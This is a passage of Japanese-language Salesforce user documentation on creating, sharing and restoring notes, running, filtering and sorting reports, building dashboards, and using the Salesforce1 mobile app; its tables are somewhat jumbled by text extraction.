メモを使用すると、旧バージョンのメモを表示し、必要に応じて復元できます。
Lightning Experience でのユーザまたはグループとのメモの共有
メモを他のユーザや Chatter グループと共有して、同僚とコラボレーションできます。
Salesforce Classic でのユーザまたはグループとのメモの共有
メモを他の Salesforce ユーザや Chatter グループと共有して、同僚とコラボレーションできます。
メモの使用に関する考慮事項
メモを操作する場合、次の点に留意してください。このリストには、拡張されたメモ取りツールである「メ
モ」で取ったメモと、従来のメモ取りツールで取ったメモの使用について詳しい説明があります。
メモおよび添付ファイルの項目
Salesforce には、メモおよび添付ファイルで使用できる有用な項目が数多く存在します。拡張されたメモ取
りツールである「メモ」で取ったメモと、従来のメモ取りツールで取ったメモでは、さまざまな項目を使
用できます。
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Salesforce Classic でのレコードへのメモの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

情報を整理し生産性を高めるため、Salesforce の拡張されたメモ取りツールであ
る「メモ」を使用して、重要な情報をレコードに追加します。

メモ: 次の手順は Salesforce Classic で使用できます。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. レコードの [メモ] 関連リストから、[新規メモ] をクリックします。または、
レコードに関連しない非公開のスタンドアロンメモを作成するには、[ファイ
ル] タブに移動し、任意のメモ検索条件をクリックして [新規メモ] オプショ
ンを表示します。

2. タイトルと本文テキストを入力します。
3. メモを保存します。

拡張バージョンの「メモ」で取ったメモはレコードの [メモ] 関連リストに表示されますが、従来のメモ取
りツールで取ったメモはレコードの [メモ & 添付ファイル] 関連リストに表示されます。

Salesforce Lightning Experience でのレコードへのメモの追加

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモを使用すると、重要な情報をレコードに追加して、情報を常に整理できま
す。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

1. レコードの [メモ] 関連リストから、[新規] をクリックします。または、異な
るレコードに関連するメモやレコードにはまったく関連しないメモを作成す
るには、[グローバルアクション] アイコンをクリックして [新規メモ] を選択
します。

2. タイトルと本文テキストを入力します。メモに画像を追加できます。
3. 必要に応じて、メモを他のレコードに関連付けます。

拡張バージョンの「メモ」で取ったメモはレコードの [メモ] 関連リストに表示されますが、従来のメモ取
りツールで取ったメモはレコードの [メモ & 添付ファイル] 関連リストに表示されます。
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以前のバージョンのメモの表示と復元

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモを使用すると、旧バージョンのメモを表示し、必要に応じて復元できます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

1. レコードの [メモ] 関連リストから、メモタイトルをクリックします。
2. メモウィンドウで、 をクリックします。
3. リストから、表示するメモのバージョンを選択します。
4. 選択したバージョンのメモを復元するには、[復元] をクリックします。

Lightning Experience でのユーザまたはグループとのメモの共有

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモを他のユーザや Chatter グループと共有して、同僚とコラボレーションでき
ます。

メモ: 次の手順は、Lightning Experienceで使用できます。Lightning Experienceで
は、画面上部のナビゲーションバーの左側に[アプリケーションランチャー]

アイコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示さ
れません。

Lightning Experience では、メモを共有するときに「コラボレータ」アクセス権は
指定できず、[閲覧者] アクセス権のみを指定できます。「メモ」では同時編集は
サポートされていません。この制限により複数のユーザが 1 つのメモを同時に
編集するのを防止します。複数のユーザが 1 つのメモを同時に変更すると、互
いの変更が上書きされます。
1. 共有するメモに移動します。
2. メモウィンドウで、[共有] をクリックします。
3. 共有するユーザまたはグループの名前を入力します。
4. 必要に応じて、ユーザまたはグループを追加します。
5. 受信者自身がメモを共有または共有解除できないようにするには、[他のユーザによる共有および共有解除

を禁止] をクリックします。
6. [共有] をクリックします。
共有対象のユーザに、共有されたメモへのリンクが含まれたメールが送信されます。
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Salesforce Classic でのユーザまたはグループとのメモの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモを他のSalesforceユーザや Chatter グループと共有して、同僚とコラボレーショ
ンできます。

メモ: 次の手順は Salesforce Classic で使用できます。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. 共有するメモに移動します。
2. メモウィンドウで、[メモの共有設定] をクリックします。
3. 別のユーザ、グループ、ライブラリのいずれと共有するかを選択します。
4. 共有するユーザまたはグループの名前を入力します。
5. ユーザまたはグループごとに、閲覧者またはコラボレータのどちらに設定す

るかを選択します。共有するメモを編集できるのはコラボレータのみです。
6. 受信者への短いメッセージを入力します。メモを共有すると、受信者はこのメッセージ (ある場合) を含む

メールを受信します。
7. [共有] をクリックします。
8. 受信者自身がメモを共有または共有解除できないようにするには、[他のユーザによる共有および共有解除

を禁止] をクリックします。
9. [閉じる] をクリックします。
共有対象のユーザに、共有されたメモへのリンクが含まれたメールが送信されます。

メモの使用に関する考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモを操作する場合、次の点に留意してください。このリストには、拡張され
たメモ取りツールである「メモ」で取ったメモと、従来のメモ取りツールで取っ
たメモの使用について詳しい説明があります。
• レコードに関連付けられているメモを編集するには、その関連付けられてい

るレコードを編集できる必要があります。
• レコードに関連付けられているメモを削除するには、メモの所有者または関

連付けられているレコードの所有者である必要があります。
• レコードに関連付けられていないメモを削除するには、メモの所有者である

必要があります。
• 取引先責任者や商談に追加されたすべてのメモは、関連する取引先にも表示

されます。

従来のメモ取りツールの考慮事項
• 削除されたメモは、Salesforce Classicでのみ復元できます。削除されたメモを復元するには、ごみ箱を使用し

ます。
• メモは、Salesforce Classic からのみ削除できます。
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• 非公開とマークされているメモにアクセスできるのは、メモを作成または添付したユーザのみです。
• Salesforce to Salesforceから外部の取引先責任者に対しメモを公開すると、親オブジェクトを共有するときに、

すべての公開メモが自動的に接続先と共有されます。添付ファイルの [接続先と共有]チェックボックスが
オンになっている場合、添付ファイルは自動的に共有されます。メモまたは添付ファイルの共有を停止す
るには、[非公開] をオンにします。

メモおよび添付ファイルの項目

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce には、メモおよび添付ファイルで使用できる有用な項目が数多く存在
します。拡張されたメモ取りツールである「メモ」で取ったメモと、従来のメ
モ取りツールで取ったメモでは、さまざまな項目を使用できます。

メモの項目
メモ: Salesforce1 と Lightning Experience には、複数のレコードをメモに関連付
けるための追加項目があります。

説明項目

メモのテキスト。データを 50 MB まで
入力できます。

本文

メモの件名。最大 200 文字です。役職

従来のメモ取りツールの項目

説明項目

メモのテキスト。データを 32 KB まで入力できます。本文

所有者またはシステム管理者のみがメモにアクセスで
きることを示すチェックボックス。システム管理者が

非公開

非公開のメモを表示するには「すべてのデータの参
照」権限が必要で、編集するには「すべてのデータの
編集」権限が必要です。

メモの簡単な説明。最大 80 文字です。役職

添付ファイルの項目

添付ファイルの項目

説明項目

アップロードされたファイルの説明。最大 500 文字で
す。

説明
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添付ファイルの項目

説明項目

アップロードされたファイルの名前。ファイル名

所有者またはシステム管理者のみが添付ファイルにア
クセスできることを示すチェックボックス。システム

非公開

管理者が非公開の添付ファイルを表示するには「すべ
てのデータの参照」権限が必要で、編集するには「す
べてのデータの編集」権限が必要です。

親レコードの共有時に添付ファイルが接続先と共有さ
れることを示すチェックボックス。このチェックボッ

接続先と共有

クスは、Salesforce to Salesforceが有効になっていて、親
レコードが共有されており、添付ファイルが公開され
ている場合にのみ使用できます。

アップロードされたファイルのサイズ。サイズ

データの分析
レポートとダッシュボードを使用して、データを分析および視覚化します。Salesforce には、連動機能を備えた
強力なレポートツールが揃っており、データの理解と操作に役立てることができます。
次に、データの実行、並び替え、絞り込み、視覚化について簡単に説明します。

レポートの実行
レポートによって、ある期間にわたって組織に蓄積されたデータにアクセスし、十分な情報に基づいて意
思決定を行うことができます。
レポートの結果の並び替え
特定の列のヘッダーをクリックすると、その列のデータ別にレポートを並び替えることができます。列の
ヘッダーをクリックすると、対象列のデータが昇順で並び替えられます。つまり、テキストは A ～ Z の順
序で、数値データは最小値～最大値の順序で、時刻/日付は最も古い値～最も新しい値の順序で並び替えら
れます。
レポートの絞り込み
レポートに必要以上のデータが表示されている場合、検索条件を使用して、必要なデータのみが表示され
るようにレポートを絞り込みます。
特殊な選択リストの値を使用する検索条件の作成
検索条件で特殊な選択リストの値を使用します。これらの特殊な選択リストの値は、True または False

のいずれかになります。
検索条件の演算子リファレンス
検索条件内の演算子はセンテンス内の動詞に似ています。演算子で、検索条件間の関係を指定します。リ
ストビュー、レポート、ダッシュボード、および一部のカスタム項目に検索条件を設定するときには、次
の検索条件演算子のリストを参照してください。
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ダッシュボードによるデータの視覚化
ダッシュボードを作成すると、レポートのデータを円グラフなどのビジュアルコンポーネントを使用して
表示できます。
メモに関するレポートの作成
レポートを使用して、すべてのメモに関する詳細を表示および分析できます。拡張されたメモ取りツール
である「メモ」で取ったメモに関するレポートのみを作成できます。

レポートの実行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを実行する
• 「レポート実行」

レポートをスケジュール
する
• 「レポートのスケ

ジュール」

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポートによって、ある期間にわたって組織に蓄積されたデータにアクセスし、
十分な情報に基づいて意思決定を行うことができます。
レポートを実行するには、[レポート] タブでレポートを探し、そのレポート名を
クリックします。ほとんどのレポートは、レポート名をクリックすると自動的
に実行されます。
1. [レポート] タブをクリックします。
2. 実行するレポートを探し、そのレポート名をクリックします。

レポートがすでに表示されている場合は、[レポートを実行] をクリックして
実行します。
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レポートの結果の並び替え

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートの結果を並び替
える
• 「レポート実行」

特定の列のヘッダーをクリックすると、その列のデータ別にレポートを並び替
えることができます。列のヘッダーをクリックすると、対象列のデータが昇順
で並び替えられます。つまり、テキストは A ～ Z の順序で、数値データは最小
値～最大値の順序で、時刻/日付は最も古い値～最も新しい値の順序で並び替え
られます。
• 並び替え順を逆にするには、列ヘッダーをもう一度クリックします。
• 組織でレポートヘッダーのフロート表示が有効になっている場合、並び替え

の動作が少し異なります。
フロート表示されているレポートヘッダーをクリックしてデータを並び替え
ると、レポートが更新され、レポート結果の先頭にリダイレクトされます。

• 複数のグルーピングレベルを持つレポートでは、各グルーピングを定義する
集計値で並び替えできます。
たとえば、商談種別でグループ化されている [商談] レポートがあるとしま
す。各 [種別]グルーピングは [フェーズ]別にグループ化され、各 [フェー
ズ]グルーピングは [リードソース]別にグループ化されます。今回、[種別]

グルーピングを金額で、[フェーズ]グルーピングをフェーズで、[リードソー
ス] グルーピングをレコード件数で並び替えできるようになりました。

関連トピック:

新規レポートの作成
レポートの結果の小計
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レポートの絞り込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

カスタムリストビューを
作成する
• リストに表示されてい

るレコードタイプに対
する「参照」

公開リストビューを作
成、編集、または削除す
る
• 「公開リストビューの

管理」

レポートに必要以上のデータが表示されている場合、検索条件を使用して、必
要なデータのみが表示されるようにレポートを絞り込みます。
たとえば、[都道府県]、[年間売上] などの項目を含む取引先のレポートがある
とします。レポートにはすでに次の検索条件があります。
• 州に「カリフォルニア」、「アリゾナ」、「ネバダ」が含まれる
• 年間売上が 1000000 より大きい
この 2 つの検索条件によって、所在地がカリフォルニア、アリゾナ、またはネ
バダ、年間売上が 100 万ドル超のすべての取引先が返されます。さらに、業種が
銀行の取引先に絞リ込む必要もあるとします。これを行う手順は、次のとおり
です。
1. [レポート] タブで、レポート名をクリックして開きます。
2. [カスタマイズ] をクリックします。
3. [追加] をクリックして、リストから [項目の絞り込み] を選択します。

新しい検索条件行が他の 2 つの検索条件の下に表示されます。

4. 検索条件項目の横にある をクリックし、検索条件を選択します。
この取引先の絞り込みの例では、[業種] を選択します。組織で使用できる検
索条件は、システム管理者が取引先レコードに設定した項目によって異なり
ます。

5. 検索条件の演算子を選択し、その次の項目に条件値を入力します。
この取引先の絞り込みの例では、[次の文字列と一致する]を選択して「銀行」
と入力します。

6. [保存] をクリックします。
これでレポートに、所在地がカリフォルニア、アリゾナ、ネバダで年間売上が
100 万ドルを超える、業種が銀行の取引先が表示されます。

特殊な選択リストの値を使用する検索条件の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能な項目は、使用
している Salesforce のエ
ディションによって異な
ります。

検索条件で特殊な選択リストの値を使用します。これらの特殊な選択リストの
値は、True または False のいずれかになります。
たとえば、成立した商談をすべて表示するには、検索条件に「成立」「次の文字
列と一致する」「True」と入力します。完了/不成立の商談をすべて表示するに
は、「完了」「次の文字列と一致する」「True」および「成立」「次の文字列と
一致する」「False」と入力します。

140

データの整理Salesforce の使用開始



メモ: レポートまたはリストビューの検索条件を作成する場合、いずれかの特殊な選択リストの条件を選
択すると、ルックアップアイコンが自動的に表示されます。ルックアップアイコンをクリックして、True

または Falseの値を選択します。または、検索条件に手動で「True」または「False」を入力できます。
使用可能な項目とその値は次のとおりです。

説明値特殊な選択リスト項目

取引先が個人取引先です。システム管理者がこの項
目の名前をカスタマイズしている可能性がありま

True取引先と取引先責任者: [個人取引
先]

す。この項目は、個人取引先アイコン ( ) として表
示されます。

取引先が法人取引先です。False

取引先がパートナー取引先か、リードまたは商談所
有者がパートナーユーザです。

True取引先、リード、商談: [パートナー
取引先]

取引先がパートナー取引先でないか、リードまたは
商談所有者がパートナーユーザではありません。

False

行動のみに適用され、ToDo には適用されません。行
動が終日の行動としてマークされます。

True活動: [終日]

行動に特定の時間が設定されています。False

ToDo のみに適用され、行動には適用されません。
ToDo が完了しています。つまり、ToDo の [状況] 項
目の値が「完了」です。

True活動: [完了]

ToDo がまだ進行中です。False

行動のみに適用され、ToDo には適用されません。行
動は、複数個人の行動の別のユーザに送信される
ミーティングの招待です。

True活動: [被招集行動フラグ]

(レポート用のみ)

行動は、行動の主催者に割り当てられる元の複数個
人の行動です。

False

活動に緑のシートはありません。False

活動が ToDo で、行動ではありません。True活動: [ToDo]

活動が行動です。False

キャンペーンが有効で、さまざまなキャンペーン選
択リストから選択できます。

Trueキャンペーン: [有効]

キャンペーンが無効です。False

ケースが完了しています。つまり、ケースの[状況]

項目の値が「完了」です。
Trueケース: [完了]
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説明値特殊な選択リスト項目

ケースがまだクローズされていません。False

ケースが、組織のエスカレーションルールによって
自動的にエスカレーションされています。

Trueケース: [エスカレーション済]

ケースがエスカレーションされていません。False

ケースに、セルフサービスユーザが追加した新しい
コメントがあります。

Trueケース: [セルフサービス 新コメン
トフラグ]

ケースに、新しいセルフサービスコメントはありま
せん。

False

ケースはクローズされていません。つまり、ケース
の [状況] 項目の値が「完了」に相当するものでは
ありません。

Trueケース: [オープン]

(レポート用のみ)

ケースがクローズされていません。False

ケースに、セルフサービスユーザが追加したコメン
トがあります。

Trueケース: [セルフサービス コメント
フラグ]

ケースに、セルフサービスコメントはありません。False

取引先責任者を一括メール送信の受信者リストに含
めることができません。

True取引先責任者: [メール送信除外]

取引先責任者が一括メールを受信することがありま
す。

False

セルフサービスポータルへの取引先責任者のログイ
ンが有効になっています。

True取引先責任者: [セルフサービス 有
効フラグ]

(レポート用のみ) 取引先責任者に対してセルフサービスが有効になっ
ていません。

False

リードの取引が開始されています。Trueリード: [取引開始済み]

(レポート用のみ) リードの取引が開始されていません。False

リードを一括メール送信の受信者リストに含めるこ
とができません。

Trueリード: [メール送信除外]

リードが一括メールを受信することがあります。False

リードが所有者に割り当てられた後、そのユーザが
まだリードを表示または編集していません。

Trueリード: [未読]

リードが所有者に割り当てられた後、少なくとも 1

回はその所有者によってリードが表示または編集さ
れています。

False
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説明値特殊な選択リスト項目

商談が完了しています。つまり、[フェーズ]項目の
値が「成立」または「不成立」です。

True商談: [完了]

商談がまだ進行中です。False

商談のパートナーが、主パートナーとしてマークさ
れています。

True商談: [主パートナー]

(パートナー商談一覧レポート用の
み) 商談のパートナーが、主パートナーとしてマークさ

れていません。
False

商談所有者が、商談の編集ページの[非公開]チェッ
クボックスをオンにしています。

True商談: [非公開]

商談の [非公開] チェックボックスがオフになって
います。

False

商談が完了および成立しています。つまり、[フェー
ズ] 項目の値が「成立」になっています。

True商談: [成立]

商談が成立していません。[フェーズ]項目の値が、
「進行中」または「不成立」です。

False

商品が有効であり、Enterprise Edition、Unlimited Edition、
および Performance Edition の組織では商談に追加でき
ます。

True商品: [有効]

商品が無効であり、商談に追加できません。False

商品に数量スケジュールのデフォルト値が設定され
ています。

True商品: [数量スケジュールフラグ]

商品に数量スケジュールのデフォルト値が設定され
ていません。

False

商品に収益スケジュールのデフォルト値が設定され
ています。

True商品: [収益スケジュールフラグ]

商品に収益スケジュールのデフォルト値が設定され
ていません。

False

ソリューションが [セルフサービスポータルに公開]

とマークされ、セルフサービスポータルユーザに表
示されます。

Trueソリューション: [セルフサービス
ポータルに公開]

ソリューションが [セルフサービスポータルに公開]

とマークされておらず、セルフサービスポータル
ユーザに表示されません。

False
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説明値特殊な選択リスト項目

ソリューションがレビューされています。つまり、
ソリューションの [状況] 項目の値が「レビュー済
み」です。

Trueソリューション: [レビュー済み]

ソリューションがレビューされていません。False

翻訳ソリューションが、関連付けられているマスタ
ソリューションと一致するように更新されていませ
ん。

Trueソリューション: [変更あり]

翻訳ソリューションが、関連付けられているマスタ
ソリューションと一致するように更新されていま
す。

False

ユーザは有効でログインできます。Trueユーザ: [有効]

ユーザは無効でログインできません。False

ユーザにConnect Offlineを使用するアクセス権があり
ます。

Trueユーザ: [オフラインユーザ]

ユーザに対してConnect Offlineの使用が無効になって
います。

False

ユーザがキャンペーンを管理できます。Trueユーザ: [マーケティングユーザ]

ユーザに対してキャンペーンの管理が無効になって
います。

False

ユーザがパートナーユーザです。Trueユーザ: [パートナーフラグ]

ユーザはパートナーユーザではありません。False

メモ: 表示できる特殊な選択リストは、ページレイアウトおよび項目レベルセキュリティ設定で表示可能
な選択リストのみです。

検索条件の演算子リファレンス
検索条件内の演算子はセンテンス内の動詞に似ています。演算子で、検索条件間の関係を指定します。リスト
ビュー、レポート、ダッシュボード、および一部のカスタム項目に検索条件を設定するときには、次の検索条
件演算子のリストを参照してください。

使用方法演算子

完全一致を求める場合に使用します。例:「作成」「次の文字列と一致する」「今日」。次の文字列と一致
する
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使用方法演算子

入力した値より小さい結果を求める場合に使用します。たとえば、「目標」「＜」「20000」
と入力すると、目標項目が 0 ～ 19,999.99 の範囲に含まれるレコードが返されます。

＜

入力した値を超える結果を求める場合に使用します。たとえば、「目標」「＞」「20000」
と入力すると、目標額が 20,000.01 以上のレコードが返されます。

＞

入力した値に等しいかそれより小さい結果を求める場合に使用します。＜＝

入力した値に等しいかそれより大きい結果を求める場合に使用します。＞＝

入力した値を含まない結果を表示します。この演算子は、空の項目を除外する場合に役
立ちます。例:「メール」「次の文字列と一致しない」「<空白>」。

次の文字列と一致
しない

入力した検索文字列を含み、さらに他の情報を含んでいる場合もある結果を求める場合
に使用します。たとえば、「取引先」「次の文字列を含む」「カリフォルニア」と入力

次の文字列を含む

すると、カリフォルニア旅行、カリフォルニアプロショップ、およびサーフカリフォル
ニアが表示されます。短い検索文字列を入力すると、より長い単語に一致する場合があ
ります。たとえば、「取引先」「次の文字列を含む」「プロ」と入力すると、カリフォ
ルニアプロショップやプロモーションコーポレーションが表示されます。この演算子で
は、大文字と小文字は区別されません。

入力した文字列を含まないレコードを除外します。例:「町名・番地 2(郵送先)」「次の文
字列を含まない」「私書箱」。

次の文字列を含ま
ない

メモ: 検索条件を積み上げ集計項目で指定すると、[次の文字列を含まない] はカン
マ区切り値で「OR」ロジックを使用します。リストビュー、レポート、およびダッ
シュボードでは、[次の文字列を含まない] は「AND」ロジックを使用します。

この演算子では、大文字と小文字は区別されません。

値の先頭の文字列がわかっていて、完全な文字列がわからない場合に使用します。この
演算子では、「次の文字列を含む」よりも検索結果が絞り込まれます。たとえば、「取

次の文字列で始ま
る

引先」「次の文字列で始まる」「カリフォルニア」と入力すると、カリフォルニア旅行、
カリフォルニアプロショップは表示されますが、サーフカリフォルニアは表示されませ
ん。

複数選択リストを選択項目として選択する場合に使用できます。この演算子を使用して、
入力した 1 つ以上の値を含むレコードを検索します。
たとえば、「興味」「次の値を含む」「ホッケー」,「サッカー」,「野球」と入力した場
合、選択した「ホッケー」のみを持つレコード、および入力した 2 つまたは 3 つの値を持
つレコードが表示されます。値の部分一致は結果に含まれません。

次の文字列を含む

複数選択リストを選択項目として選択する場合に使用できます。この演算子を使用して、
入力したどの値も含まないレコードを検索します。
たとえば、「興味」「次の値を含まない」「ワイン」,「ゴルフ」と入力した場合、選択
リスト値以外の値を含むレコード (空白レコードを含む) がレポートに表示されます。値
の部分一致は結果に含まれません。

次の値を含まない
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使用方法演算子

ダッシュボード検索条件にのみ使用できます。値の範囲を絞り込むときに使用します。
各範囲に対して絞り込みを行い、最小値以上かつ最大値未満の結果を返します。
たとえば、「従業員数次の値の間 100 と 500」と入力した場合、結果には、従業員が 100

人から 499 人の取引先が含まれます。従業員が 500 人の取引先は結果に含まれません。

次の値の間
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ダッシュボードによるデータの視覚化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを参照お
よび更新する
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

ダッシュボードを作成すると、レポートのデータを円グラフなどのビジュアル
コンポーネントを使用して表示できます。
所在地がカリフォルニア、アリゾナ、ネバダで、業種が銀行で、年間売上が 100

万ドルを超える取引先を表示するレポートがあるとします。チームのためにこ
のレポートを円グラフを使用して視覚化します。これを行う手順は、次のとお
りです。
1. [レポート] タブをクリックします。
2. [新規ダッシュボード] をクリックします。
3. [コンポーネント] タブの円グラフアイコンをクリックし、レイアウト内のい

ずれかの列にドラッグします。
4. 円グラフのヘッダーとタイトルを追加します。
5. [データソース] タブをクリックし、[レポート] リストを展開します。
6. レポートを見つけて、円グラフの上にドラッグします。
7. 変更内容を保存します。
これで、レポートデータを参照する権限を持つすべてのユーザが [レポート] タ
ブのダッシュボードを使用できるようになりました。ダッシュボードをクリッ
クすると、元のレポートが開きます。
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メモに関するレポートの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポートを使用して、すべてのメモに関する詳細を表示および分析できます。
拡張されたメモ取りツールである「メモ」で取ったメモに関するレポートのみ
を作成できます。
1. 標準レポートとそのカスタマイズ方法に慣れている必要があります。
2. 次の条件で新しいレポートを作成します。

ファイルおよびコンテンツのレポー
ト

レポートタイプ

ファイル名
公開日
作成者
最終修正日
最終修正者
ファイルの種類

項目

[ファイルの種類] 次の文字列と一致
する SNOTE

検索条件

3. 後で再実行できるようにレポートを保存します。
4. レポートを他のユーザと共有するには、レポートフォルダを作成してレポー

トを保存します。その後、フォルダの共有設定を使用して、個々のユーザまたはユーザグループを追加し
ます。

モバイルデバイスでの作業

Salesforceでは、場所を問わず、複数のモバイルアプリケーションの接続状態を保ち、生産性を維持することが
できます。

Salesforce1 モバイルアプリケーション
Salesforce1モバイルアプリケーションは外出中に使用できる Salesforceです。このエンタープライズクラスの
モバイル環境では、オフィスで表示される情報と同じ内容にリアルタイムでアクセスできますが、情報が
整然と表示されるため、顧客とのミーティングの合間、飛行機の待ち時間、コーヒーを求めて並んでいる
間などにも業務を済ませることができます。タッチスクリーンで簡単にナビゲーションやデータ操作が行
える直感的なインターフェースにより、数回のタップで情報を確認したり更新したりすることができます。
さらに、Salesforce1には組織のカスタマイズが多数取り込まれ、アプリケーションがビジネスニーズに合わ
せて調整されています。
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Salesforce1 モバイルアプリケーションの取得
Salesforce1へのアクセスには、デバイスにインストールしたアプリケーションを使用する方法と、モバイル
ブラウザアプリケーションを使用する方法があり、どのように作業するかに応じて異なります。組織で
Salesforce1の一定のバージョンが無効になっていることがあります。各自のオプションについては、Salesforce

システム管理者に確認してください。
Salesforce Classic Mobile

Salesforce Classic Mobile アプリケーションでは、Android™ および iPhone® デバイスから Salesforce データへのモバ
イルアクセスを提供します。レコードの表示、作成、編集、削除、活動の追跡、ダッシュボードの参照、
簡易レポートの実行、電話とメールの記録ができます。Salesforce システム管理者からモバイルライセンス
が割り当てられると、Salesforce Classic Mobile を使用できるようになります。
Salesforce Authenticator モバイルアプリケーションでの接続済みアカウントの復元
Salesforce Authenticator モバイルアプリケーションで接続済みのアカウントをバックアップした場合、別のモ
バイルデバイスで復元できます。
Salesforce1 モバイルアプリケーションのヘルプの検索
Salesforce1 にはモバイルアプリケーションについて確認する場合に使用する [ヘルプ] リンクがあります。
Salesforce1 モバイルアプリケーションにログインできないのはなぜですか?

Salesforce の正しいログイン情報を使用しているのに、Salesforce1 にログインできない場合、ログインがうま
くいかない理由としていくつかの一般的な原因が考えられます。
Salesforce1 モバイルアプリケーション機能: 各バージョンで使用可能な機能
Salesforce1 は、iOS および Android デバイスではダウンロード可能アプリケーションとして使用でき、サポー
トされるモバイルブラウザではモバイルブラウザアプリケーションとして使用できます。ほとんどの場合、
Salesforce1「系」のアプリケーションにはすべて同じ機能が組み込まれています。ただし、操作性にはいく
つかの相違点があります。その多くは、Salesforce1がサポートされるモバイルプラットフォームの相違点に
関連します。
Salesforce1 モバイルアプリケーションで使用可能なデータ
Salesforce1は、組織の Salesforceエディション、ユーザライセンスの種類、および割り当てられているユーザ
プロファイルと権限セットを使用して、ユーザが使用可能なデータを判断します。Salesforce のフルサイト
の操作時に表示されるオブジェクト、レコードタイプ、項目、およびページレイアウトのほとんどが
Salesforce1 でも表示されます。ただし、一部の Salesforce データは Salesforce1 では使用できません。

Salesforce1 モバイルアプリケーション
エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 モバイルアプリケーションは外出中に使用できる Salesforce です。この
エンタープライズクラスのモバイル環境では、オフィスで表示される情報と同
じ内容にリアルタイムでアクセスできますが、情報が整然と表示されるため、
顧客とのミーティングの合間、飛行機の待ち時間、コーヒーを求めて並んでい
る間などにも業務を済ませることができます。タッチスクリーンで簡単にナビ
ゲーションやデータ操作が行える直感的なインターフェースにより、数回のタッ
プで情報を確認したり更新したりすることができます。さらに、Salesforce1 には
組織のカスタマイズが多数取り込まれ、アプリケーションがビジネスニーズに
合わせて調整されています。
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メモ: Salesforce1 では、あらゆる場所で重要なデータと機能を自由に使用できます。ただし、ラップトッ
プやデスクトップでの作業の方が適切な業務もあります。Salesforce1で使用できないデータを表示したり、
アクションを実行したりする場合は、代わりに Lightning Experienceまたは Salesforce Classicを使用してくださ
い。

Salesforce1 モバイルアプリケーションの取得
エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

Salesforce1 へのアクセスには、デバイスにインストールしたアプリケーションを
使用する方法と、モバイルブラウザアプリケーションを使用する方法があり、
どのように作業するかに応じて異なります。組織でSalesforce1の一定のバージョ
ンが無効になっていることがあります。各自のオプションについては、Salesforce

システム管理者に確認してください。
ダウンロード可能アプリケーションのインストール
Salesforce1 ダウンロード可能アプリケーションは、プラットフォームの最小要件
を満たす Android および iOS デバイスで使用できます。Google Play または App Store

から Salesforce1 をダウンロードしてインストールできます。
アプリケーションをインストールしたら、ホーム画面から起動し、Salesforceアカウントにログインします。セ
キュリティ PIN を作成するように要求される場合があります。デフォルトでは、本番環境に接続されます。

